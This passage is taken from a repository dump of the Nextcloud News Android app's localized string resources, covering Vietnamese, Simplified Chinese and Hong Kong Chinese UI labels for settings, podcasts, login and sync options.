trái</string>\n\n    <string name=\"pref_title_general_search_in\">Tìm kiếm trong</string>\n\n    <string name=\"pref_general_search_in_title\">Tiêu đề</string>\n    <string name=\"pref_general_search_in_body\">Thân</string>\n    <string name=\"dialog_clearing_cache\">Đang xoá bộ nhớ đệm</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Đang xoá bộ nhớ đệm. Vui lòng đợi ...</string>\n    <string name=\"reset_cache_unsaved_changes\">Có sự thay đổi đồng bộ. Bạn muốn thiết lập lại bộ nhớ đệm ?</string>\n    <string name=\"warning\">Cảnh báo</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Đồng bộ khi khởi </string>\n    <string name=\"pref_title_ShowOnlyUnread\">Hiển thị bài chưa </string>\n    <string name=\"pref_title_DisableHostnameVerification\">Tắt H</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Điều chỉnh m lượng</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Đánh dấu đã đọc trong khi di chuyển</string>\n    <string name=\"pref_title_ShowFastActions\">Kích hoạt các chức năng truy cập nhanh</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Bỏ qua mục hiển thị chi tiết và mở bài báo trong trình duyệt</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Chấp nhận Certificate không biết nguồn gốc ?</string>\n    <string name=\"mtm_decision_always\">Luôn luôn</string>\n    <string name=\"mtm_decision_abort\">Hủy bỏ</string>\n    <string name=\"mtm_notification\">Xác minh chứng chỉ</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Khôngc có podcast nào được chọn</string>\n    <string name=\"no_chapters_available\">Không có chương nào</string>\n    <string name=\"exit_playback\">Thoát trình phát</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Tốc độ phát</string>\n    <string name=\"notification_downloading_podcast_title\">Đang tải xuống podcast</string>\n    <string name=\"dialog_podcast_remove_title\">Bạn chắc chắn?</string>\n    <string name=\"dialog_podcast_remove_confirm\">Xoá</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Thông tin</string>\n    <string name=\"pref_license\">Giấy phép</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) phiên bản 3</string>\n    <string name=\"pref_report_issue\">Báo cáo vấn đề</string>\n    <string name=\"pref_report_issue_summary\">Yêu cầu tài khoản GitHub (miễn phí)</string>\n    <string name=\"pref_contribute\">Đóng góp!</string>\n    <string name=\"pref_contribute_summary\">Lấy mã nguồn</string>\n    <string name=\"pref_privacy\">Riêng tư</string>\n    <string name=\"pref_privacy_summary\">Chính sách riêng tư của Nextcloud News Android</string>\n    <string name=\"pref_version\">Ứng dụng Android Nextcloud News</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Hiển th</string>\n    <string name=\"pref_title_app_theme\">Chủ đề</string>\n    <string name=\"pref_title_feed_list_layout\">Bố cục danh sách Feed</string>\n    <string name=\"pref_title_font_size\">Cỡ chữ</string>\n    <string name=\"pref_display_browser\">Trình duyệt</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Biểu tượng hành động (Hiển thị chi tiết)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Mặc định hệ thống</string>\n    <string name=\"pref_display_apptheme_light\">Sáng</string>\n    <string name=\"pref_display_apptheme_dark\">Tối</string>\n\n    <string name=\"pref_oled_mode\">Nền đen</string>\n    <string name=\"pref_oled_mode_summary\">Dành cho chủ đề tối trên màn hình OLED</string>\n\n    <string name=\"pref_external_player\">Trình phát ngoài</string>\n    <string name=\"pref_external_player_summary\">Phát podcast trong trình phát mặc định</string>\n\n    <string name=\"pref_display_browser_cct\">Tab tuỳ chỉnh của Chrome được tích hợp sẵn</string>\n    <string name=\"pref_display_browser_built_in\">Trình duyệt được tích hợp sẵn</string>\n    <string name=\"pref_display_browser_external\">Trình duyệt ngoài</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Hình thu nhỏ (chỉ Tiêu đề)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Hình thu nhỏ</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Văn bản đơn giản</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Tiêu đề</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Văn bản đầy đủ</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Bố cục web</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Hiển thị dạng thẻ</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Nhỏ</string>\n    <string name=\"pref_display_font_size_d\">Mặc định</string>\n    <string name=\"pref_display_font_size_l\">Lớn</string>\n    <string name=\"pref_display_font_size_xl\">Rất lớn</string>\n\n    <string name=\"content_desc_play\">Phát</string>\n    <string name=\"content_desc_pause\">Tạm dừng</string>\n    <string name=\"content_desc_playback_speed\">Tốc độ phát</string>\n    <string name=\"content_desc_rewind\">Tua lại</string>\n    <string name=\"content_desc_forward\">Chuyển tiếp</string>\n    <string name=\"content_desc_expand\">Mở rộng</string>\n    <string name=\"content_desc_collapse\">Thu gọn</string>\n    <string name=\"content_desc_mark_as_read\">Đánh dấu đã đọc</string>\n    <string name=\"content_desc_mark_as_unread\">Đánh dấu là chưa đọc</string>\n    <string name=\"content_desc_tap_to_refresh\">Nhấn để làm mới</string>\n    <string name=\"content_desc_add_to_favorites\">Thêm vào ưa thích</string>\n    <string name=\"content_desc_remove_from_favorites\">Xóa khỏi ưa thích</string>\n    <string name=\"content_desc_show_password\">Hiện mật khẩu</string>\n    <string name=\"content_desc_delete\">Xóa</string>\n    <string name=\"content_desc_download\">Tải xuống</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Lỗi</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Có vẻ như ứng dụng tin tức của bạn không được cài đặt hoặc kích hoạt trên máy chủ của bạn. Vui lòng làm theo hướng dẫn ở đây để thiết lập ứng dụng tin tức trên máy chủ của bạn trước tiên: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Có một lỗi gì đó :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Ứng dụng Web News đã trả lời Phiên bản \\\"0\\\". Vui lòng xem báo cáo lỗi sau: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Phiên bản ứng dụng này không tương thích với ứng dụng Nextcloud News của bạn. Vui lòng nâng cấp ứng dụng tin tức và khung mẫu ứng dụng.</string>\n    <string name=\"login_dialog_title_security_warning\">Cảnh bảo bảo mật</string>\n    <string name=\"login_dialog_text_security_warning\">Bạn đang không sử dụng HTTPS, nó được khuyến khích mạnh mẽ. Một kẻ tấn công có thể can thiệp vào lưu lượng của bạn và lấy quyền truy cập vào một số dữ liệu nhạy cảm (vd: mật khẩu của bạn).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Một điều gì đó không mong muốn đã xảy ra. Vui lòng thử lại.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Dữ liệu &amp; đồng bộ</string>\n    <string name=\"pref_title_clearCache\">Xóa bộ nhớ đệm</string>\n    <string name=\"pref_title_CacheImagesOffline\">Bộ đệm hình ảnh ẩn</string>\n    <string name=\"pref_title_Max_Cache_Size\">Kích cỡ tối đa bộ </string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Không bao giờ</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Chỉ qua Wifi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Qua Wifi và mạng di động</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Hỏi khi không kết nối WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Không bao giờ</string>\n    <string name=\"array_sync_interval_min_5\">5 phút</string>\n    <string name=\"array_sync_interval_min_15\">15 phút</string>\n    <string name=\"array_sync_interval_min_30\">30 phút</string>\n    <string name=\"array_sync_interval_min_45\">45 phút</string>\n    <string name=\"array_sync_interval_hour_1\">1 tiếng</string>\n    <string name=\"array_sync_interval_hour_2\">2 tiếng</string>\n    <string name=\"array_sync_interval_hour_3\">3 tiếng</string>\n    <string name=\"array_sync_interval_hour_6\">6 tiếng</string>\n    <string name=\"array_sync_interval_hour_12\">12 tiếng</string>\n    <string name=\"array_sync_interval_hour_24\">24 tiếng</string>\n    <string name=\"switch_account\">Chuyển tài khoản</string>\n    \n    <string name=\"successfully_exported\">Đã xuất thành công tới:</string>\n    <string name=\"opml_export\">Bản xuất OPML</string>\n    <string name=\"parsing_opml\">Đang xử lý OPML</string>\n    <string name=\"please_wait\">Vui lòng đợi ...</string>\n    <string name=\"interval_sync_title\">Khoảng thời gian đồng bộ</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-w820dp/dimens.xml",
    "content": "<resources>\n    <!-- Example customization of dimensions originally defined in res/values/dimens.xml\n         (such as screen margins) for screens with more than 820dp of available width. This\n         would include 7\" and 10\" devices in landscape (~960dp and ~1280dp respectively). -->\n    <dimen name=\"activity_horizontal_margin\">64dp</dimen>\n</resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-zh-rCN/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">自动同步</string>\n    <string name=\"title_activity_sync_interval_selector\">同步间隔</string>\n    <string name=\"empty_view_content\">无内容</string>\n    <string name=\"empty_view_content_action\">下拉刷新</string>\n    <string name=\"toast_GettingMoreItems\">已开始下载更多项目。请稍候 ...</string>\n    <string name=\"no_wifi_available\">没有连接到 WiFi</string>\n    <string name=\"do_you_want_to_download_without_wifi\">是否要在没有 WiFi 的状况下下载图像？</string>\n    <string name=\"current_version\">您正在使用的版本号为：%s</string>\n    <string name=\"widget_header\">Nextcloud 新闻</string>\n    <string name=\"message_bar_scroll_top\">重新加载并回到顶部</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"other\">%d 条新内容</item>\n    </plurals>\n    <string name=\"message_bar_reload\">刷新</string>\n    <string name=\"allUnreadFeeds\">所有未读内容</string>\n    <string name=\"starredFeeds\">标星内容</string>\n    <string name=\"downloadedPodcasts\">已下载播客</string>\n    <string name=\"title_activity_new_feed\">添加新订阅源</string>\n\n    <string name=\"menu_update\">刷新</string>\n    <string name=\"menu_markAllAsRead\">标记所有为已读</string>\n    <string name=\"menu_StartImageCaching\">下载图片</string>\n    <string name=\"menu_downloadMoreItems\">下载更多内容</string>\n\n    <string name=\"tv_showing_cached_version\">显示缓存的版本</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">已加星标</string>\n    <string name=\"action_read\">阅读</string>\n    <string name=\"action_playPodacst\">播放 Podcast</string>\n    <string name=\"action_removePodcast\">移除播客媒体</string>\n    <string name=\"action_openInBrowser\">在浏览器中打开网页</string>\n    <string name=\"action_Share\">共享</string>\n    <string name=\"action_login\">服务器配置</string>\n    <string name=\"action_save\">保存</string>\n    <string name=\"action_settings\">设置</string>\n    <string name=\"action_sync_settings\">同步设置</string>\n    <string name=\"action_add_new_feed\">添加新订阅源</string>\n    <string name=\"action_add_new_folder\">添加新文件夹</string>\n    <string name=\"action_textToSpeech\">朗读</string>\n    <string name=\"action_search\">搜索</string>\n    <string name=\"action_download_articles_offline\">离线下载文章</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">下载文章供离线使用</string>\n    <string name=\"notification_download_images_offline\">下载图片供离线使用</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"other\">您还有 %d 条未读内容</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"other\">%d 条新内容</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">订阅源地址</string>\n    <string name=\"action_add_feed\">添加订阅源</string>\n    <string name=\"import_opml\">导入OPML</string>\n    <string name=\"export_opml\">导出OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">下载图片</string>\n    <string name=\"action_img_sharelink\">共享图片链接</string>\n    <string name=\"action_img_open\">在浏览器中打开图片</string>\n    <string name=\"action_img_copylink\">共享图片链接</string>\n    <string name=\"action_link_share\">共享图片链接</string>\n    <string name=\"action_link_open\">在浏览器中打开链接</string>\n    <string name=\"action_link_copy\">复制链接</string>\n    <string name=\"toast_img_download_wait\">正在下载。请稍候 ...</string>\n    <string name=\"toast_img_saved\">图片已保存</string>\n    <string name=\"toast_img_notwriteable\">写入图片失败。</string>\n    <string name=\"toast_copied_to_clipboard\">复制到剪贴板</string>\n    <string name=\"error_download_failed\">下载失败</string>\n    <string name=\"intent_title_share\">共享途径</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">移除订阅源</string>\n    <string name=\"action_feed_rename\">重命名订阅源</string>\n    <string name=\"action_feed_move\">移动订阅源</string>\n    <string name=\"action_feed_notification_settings\">通知设置</string>\n    <string name=\"action_feed_open_in\">Open-in 设置</string>\n    <string name=\"action_feed_open_in_general_setting\">使用一般设置</string>\n    <string name=\"action_feed_open_in_detailed_view\">详细视图</string>\n    <string name=\"feed_remove_button\">移除</string>\n    <string name=\"feed_rename_button\">重命名</string>\n    <string name=\"confirm_feed_remove\">您真的要删除此订阅源吗？本操作不可恢复！</string>\n    <string name=\"feed_move_list_description\">选择文件夹以移动订阅源</string>\n    <string name=\"move_feed_root_folder\">根目录</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">移除文件夹</string>\n    <string name=\"action_folder_rename\">重命名文件夹</string>\n    <string name=\"folder_remove_button\">删除</string>\n    <string name=\"folder_rename_button\">重命名</string>\n    <string name=\"confirm_folder_remove\">你确定要移除此文件夹吗？此操作无法恢复！</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">接收此订阅源的单独通知</string>\n    <string name=\"notification_feed_default\">所有默认设置的订阅源的通知将整合成一个</string>\n    <string name=\"notification_feed_none\">完全没有通知</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">添加</string>\n    <string name=\"hint_folder_name\">文件夹名称</string>\n    <string name=\"folder_already_exists\">文件夹已存在</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">手动登录</string>\n    <string name=\"login_sso\">使用Nextcloud文件应用登录</string>\n    <string name=\"pref_title_username\">用户名</string>\n    <string name=\"pref_title_password\">密码</string>\n    <string name=\"pref_title_owncloudRootPath\">ownCloud 根目录地址</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/owncloud</string>\n\n    <string name=\"action_sign_in_short\">登录</string>\n    <string name=\"login_progress_signing_in\">正在登录 ...</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">这个字段是必填的</string>\n    <string name=\"error_invalid_url\">网络地址不正确</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"other\">标记 %d 项为已读</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"other\">已下载 %d 条旧内容</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">没有更多的选项了</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"other\">目前已获取 %d 项 ...</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">设置</string>\n    <string name=\"cache_is_cleared\">缓存已清空！</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">常规</string>\n    <string name=\"pref_title_general_sort_order\">排序</string>\n\n    <string name=\"pref_general_sort_order_new_old\">新 → 旧</string>\n    <string name=\"pref_general_sort_order_old_new\">旧 → 新</string>\n\n    <string name=\"pref_rename_action_swipe_right\">向右滑动时的操作</string>\n    <string name=\"pref_rename_action_swipe_left\">向左滑动时的操作</string>\n\n    <string name=\"pref_title_general_search_in\">搜索</string>\n\n    <string name=\"pref_general_search_in_title\">标题</string>\n    <string name=\"pref_general_search_in_body\">主体</string>\n    <string name=\"pref_general_search_in_both\">都是</string>\n\n    <string name=\"dialog_clearing_cache\">清除缓存</string>\n    <string name=\"dialog_clearing_cache_please_wait\">正在清理缓存。请稍候 ...</string>\n    <string name=\"reset_cache_unsaved_changes\">有一部分文件未同步，您确定仍然清空缓存吗？</string>\n    <string name=\"warning\">警告</string>\n    <string name=\"pref_title_AutoSyncOnStart\">启动后就同步</string>\n    <string name=\"pref_title_ShowOnlyUnread\">仅显示未读文章</string>\n    <string name=\"pref_title_DisableHostnameVerification\">禁用主机名校验</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">用音量键导航</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">当滚动时标记为已读</string>\n    <string name=\"pref_title_SyncWhenScrolledToBottom\">滚动到底部时同步</string>\n    <string name=\"pref_title_ShowFastActions\">激活快速访问功能</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">跳过详情查看并在浏览器中打开文章</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">返回按钮打开侧边栏</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">允许未知证书？</string>\n    <string name=\"mtm_decision_always\">总是</string>\n    <string name=\"mtm_decision_abort\">终止</string>\n    <string name=\"mtm_notification\">校验证书</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">无 Podcast 被选中</string>\n    <string name=\"no_chapters_available\">无可用章节</string>\n    <string name=\"exit_playback\">退出播放器</string>\n    <string name=\"podcast_playback_speed_dialog_title\">播放速度</string>\n    <string name=\"notification_downloading_podcast_title\">正在下载播客</string>\n    <string name=\"dialog_podcast_remove_title\">你确定吗？</string>\n    <string name=\"dialog_podcast_remove_body\">是否要移除 %1$s 的已下载媒体？</string>\n    <string name=\"dialog_podcast_status_failed\">无法移除 %1$s 的媒体</string>\n    <string name=\"dialog_podcast_status_success\">已移除 %1$s 的媒体</string>\n    <string name=\"dialog_podcast_remove_confirm\">移除</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">关于</string>\n    <string name=\"pref_license\">许可证</string>\n    <string name=\"pref_license_summary\">GNU Affero 通用公共许可证 (AGPL) 版本3</string>\n    <string name=\"pref_report_issue\">报告问题</string>\n    <string name=\"pref_report_issue_summary\">需要一个（免费的）GitHub 账号</string>\n    <string name=\"pref_contribute\">贡献！</string>\n    <string name=\"pref_contribute_summary\">获取源代码</string>\n    <string name=\"pref_privacy\">隐私</string>\n    <string name=\"pref_privacy_summary\">Nextcloud News 安卓版隐私政策</string>\n    <string name=\"pref_news_policy\">联系我们/新闻政策</string>\n    <string name=\"pref_news_policy_summary\">Nextcloud 新闻 Android 新闻政策/联系我们</string>\n    <string name=\"pref_version\">Nextcloud News 安卓应用</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">显示</string>\n    <string name=\"pref_title_app_theme\">主题</string>\n    <string name=\"pref_title_feed_list_layout\">订阅源清单布局</string>\n    <string name=\"pref_title_font_size\">字号</string>\n    <string name=\"pref_display_browser\">浏览器</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">动作图标（详情页）</string>\n\n    <string name=\"pref_display_apptheme_auto\">系统默认</string>\n    <string name=\"pref_display_apptheme_light\">浅色</string>\n    <string name=\"pref_display_apptheme_dark\">深色</string>\n\n    <string name=\"pref_oled_mode\">黑色背景</string>\n    <string name=\"pref_oled_mode_summary\">用于 OLED 屏幕的深色主题</string>\n\n    <string name=\"pref_detailed_view_zoom\">详细视图缩放</string>\n    <string name=\"pref_detailed_view_zoom_summary\">在详细视图中启用缩放内容</string>\n\n    <string name=\"pref_external_player\">外部播放器</string>\n    <string name=\"pref_external_player_summary\">在您的默认媒体应用程序中播放博客</string>\n\n    <string name=\"pref_display_browser_cct\">内置 Chrome 自定义分页</string>\n    <string name=\"pref_display_browser_built_in\">内置浏览器</string>\n    <string name=\"pref_display_browser_external\">外部浏览器</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">缩略图 （仅标题）</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">缩略图</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">简述文本</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">头条新闻</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">完整文本</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">页面布局</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">卡片视图</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">小</string>\n    <string name=\"pref_display_font_size_d\">默认</string>\n    <string name=\"pref_display_font_size_l\">大</string>\n    <string name=\"pref_display_font_size_xl\">超大</string>\n\n    <string name=\"content_desc_play\">玩</string>\n    <string name=\"content_desc_pause\">暂停</string>\n    <string name=\"content_desc_playback_speed\">播放速度</string>\n    <string name=\"content_desc_rewind\">撤回</string>\n    <string name=\"content_desc_forward\">转发</string>\n    <string name=\"content_desc_expand\">展开</string>\n    <string name=\"content_desc_collapse\">折叠</string>\n    <string name=\"content_desc_mark_as_read\">标为已读</string>\n    <string name=\"content_desc_mark_as_unread\">标为未读</string>\n    <string name=\"content_desc_tap_to_refresh\">点击此处刷新</string>\n    <string name=\"content_desc_add_to_favorites\">添加到收藏</string>\n    <string name=\"content_desc_remove_from_favorites\">从收藏中移除</string>\n    <string name=\"content_desc_show_password\">显示密码</string>\n    <string name=\"content_desc_delete\">删除</string>\n    <string name=\"content_desc_download\">下载</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">错误</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">您的服务器上似乎未安装或激活您的新闻应用。 请按照此处给出的说明在您的服务器上首先设置新闻应用：%1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">有地方出错了 :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">网页新闻应用返回的版本号为 “0”。请查阅以下bug报告：https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">此 App 版本与您的 Nextcloud 新闻应用版本不兼容。请更新新闻 app 和 appframework。</string>\n    <string name=\"login_dialog_title_security_warning\">安全警告</string>\n    <string name=\"login_dialog_text_security_warning\">您没有使用 HTTPS，该方法我们强烈推荐使用。攻击者可能会截获您的流量并获得某些敏感信息（例如您的密码）</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">出错了。请再试一次。</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">数据与同步</string>\n    <string name=\"pref_title_clearCache\">清除缓存</string>\n    <string name=\"pref_title_CacheImagesOffline\">离线缓存图片</string>\n    <string name=\"pref_title_Max_Cache_Size\">最大缓存大小</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">从不</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">仅限WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">仅在 WiFi 和移动网络</string>\n    <string name=\"pref_data_sync_image_cache_ask\">未连接到 WiFi 时询问</string>\n\n    <string name=\"array_sync_interval_min_0\">永不</string>\n    <string name=\"array_sync_interval_min_5\">5 分钟</string>\n    <string name=\"array_sync_interval_min_15\">15 分钟 </string>\n    <string name=\"array_sync_interval_min_30\">30 分钟 </string>\n    <string name=\"array_sync_interval_min_45\">45 分钟</string>\n    <string name=\"array_sync_interval_hour_1\">1小时 </string>\n    <string name=\"array_sync_interval_hour_2\">2小时</string>\n    <string name=\"array_sync_interval_hour_3\">3小时</string>\n    <string name=\"array_sync_interval_hour_6\">6小时</string>\n    <string name=\"array_sync_interval_hour_12\">12小时</string>\n    <string name=\"array_sync_interval_hour_24\">24小时</string>\n    <string name=\"switch_account\">切换账号</string>\n    \n    <string name=\"successfully_exported\">已成功导出到：</string>\n    <string name=\"opml_export\">OPML 导出</string>\n    <string name=\"parsing_opml\">解析 OPML</string>\n    <string name=\"please_wait\">请稍等...</string>\n    <string name=\"interval_sync_title\">间隔同步</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-zh-rHK/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">自動同步</string>\n    <string name=\"title_activity_sync_interval_selector\">同步時間間距</string>\n    <string name=\"empty_view_content\">無任何項目</string>\n    <string name=\"empty_view_content_action\">下拉以更新</string>\n    <string name=\"toast_GettingMoreItems\">正在開始下載更多項目。請稍後 ...</string>\n    <string name=\"no_wifi_available\">WiFi 未連線</string>\n    <string name=\"do_you_want_to_download_without_wifi\">是否要在沒有 WiFi 的狀況下下載圖像?</string>\n    <string name=\"current_version\">您在使用版本 %s</string>\n    <string name=\"widget_header\">Nextcloud 新聞</string>\n    <string name=\"message_bar_scroll_top\">重新載入並捲動至頂部</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"other\">%d 個新的項目</item>\n    </plurals>\n    <string name=\"message_bar_reload\">重新載入</string>\n    <string name=\"allUnreadFeeds\">所有未閱讀項目</string>\n    <string name=\"starredFeeds\">星號項目</string>\n    <string name=\"downloadedPodcasts\">已下載的播客節目</string>\n    <string name=\"title_activity_new_feed\">加入新訂閱</string>\n\n    <string name=\"menu_update\">重新整理</string>\n    <string name=\"menu_markAllAsRead\">全部標示為已閱讀</string>\n    <string name=\"menu_StartImageCaching\">下載圖像</string>\n    <string name=\"menu_downloadMoreItems\">下載更多項目</string>\n\n    <string name=\"tv_showing_cached_version\">顯示快取的版本</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">星號</string>\n    <string name=\"action_read\">已讀</string>\n    <string name=\"action_playPodacst\">播放 Podcast</string>\n    <string name=\"action_removePodcast\">移除播客節目媒體</string>\n    <string name=\"action_openInBrowser\">用瀏覽器開啟</string>\n    <string name=\"action_Share\">分享</string>\n    <string name=\"action_login\">伺服器設定</string>\n    <string name=\"action_save\">儲存</string>\n    <string name=\"action_settings\">設定</string>\n    <string name=\"action_sync_settings\">同步設定</string>\n    <string name=\"action_add_new_feed\">加入新訂閱</string>\n    <string name=\"action_add_new_folder\">添加新資料夾</string>\n    <string name=\"action_textToSpeech\">讀出</string>\n    <string name=\"action_search\">搜尋</string>\n    <string name=\"action_download_articles_offline\">下載離線文章</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">下載文章供離線使用</string>\n    <string name=\"notification_download_images_offline\">下載影像供離線使用</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"other\">您有 %d 個新的未讀項目</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"other\">%d 個新的未讀項目</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">提要URL</string>\n    <string name=\"action_add_feed\">新增訂閱</string>\n    <string name=\"import_opml\">導入OPML格式</string>\n    <string name=\"export_opml\">導出OPML格式</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">下載圖片</string>\n    <string name=\"action_img_sharelink\">分享圖片連結</string>\n    <string name=\"action_img_open\">在瀏覽器中開啟圖片</string>\n    <string name=\"action_img_copylink\">複製圖片連結</string>\n    <string name=\"action_link_share\">分享連結</string>\n    <string name=\"action_link_open\">在瀏覽器中打開連結</string>\n    <string name=\"action_link_copy\">複製連結</string>\n    <string name=\"toast_img_download_wait\">正在下載。請稍候 ...</string>\n    <string name=\"toast_img_saved\">圖片已儲存</string>\n    <string name=\"toast_img_notwriteable\">寫入圖片失敗</string>\n    <string name=\"toast_copied_to_clipboard\">已複製到剪貼板</string>\n    <string name=\"error_download_failed\">下載失敗</string>\n    <string name=\"intent_title_share\">分享到</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">移除 Feed</string>\n    <string name=\"action_feed_rename\">重新命名 Feed</string>\n    <string name=\"action_feed_move\">移動摘要</string>\n    <string name=\"action_feed_notification_settings\">通告設定</string>\n    <string name=\"action_feed_open_in\">Open-in 設定</string>\n    <string name=\"action_feed_open_in_general_setting\">使用一般設定</string>\n    <string name=\"action_feed_open_in_detailed_view\">細節檢視</string>\n    <string name=\"feed_remove_button\">移除</string>\n    <string name=\"feed_rename_button\">重新命名</string>\n    <string name=\"confirm_feed_remove\">您真的要移除這個 Feed 嗎？此操作無法復原</string>\n    <string name=\"feed_move_list_description\">選擇要移動摘要至的資料夾</string>\n    <string name=\"move_feed_root_folder\">根目錄</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">移除資料夾</string>\n    <string name=\"action_folder_rename\">重新命名資料夾</string>\n    <string name=\"folder_remove_button\">移除</string>\n    <string name=\"folder_rename_button\">重新命名</string>\n    <string name=\"confirm_folder_remove\">您真的要移除此資料夾嗎？此操作無法復原！</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">我想收到有關此提要的個別通知</string>\n    <string name=\"notification_feed_default\">所有具有默認設置的提要將顯示在同一個通知中</string>\n    <string name=\"notification_feed_none\">完全没有通知</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">添加</string>\n    <string 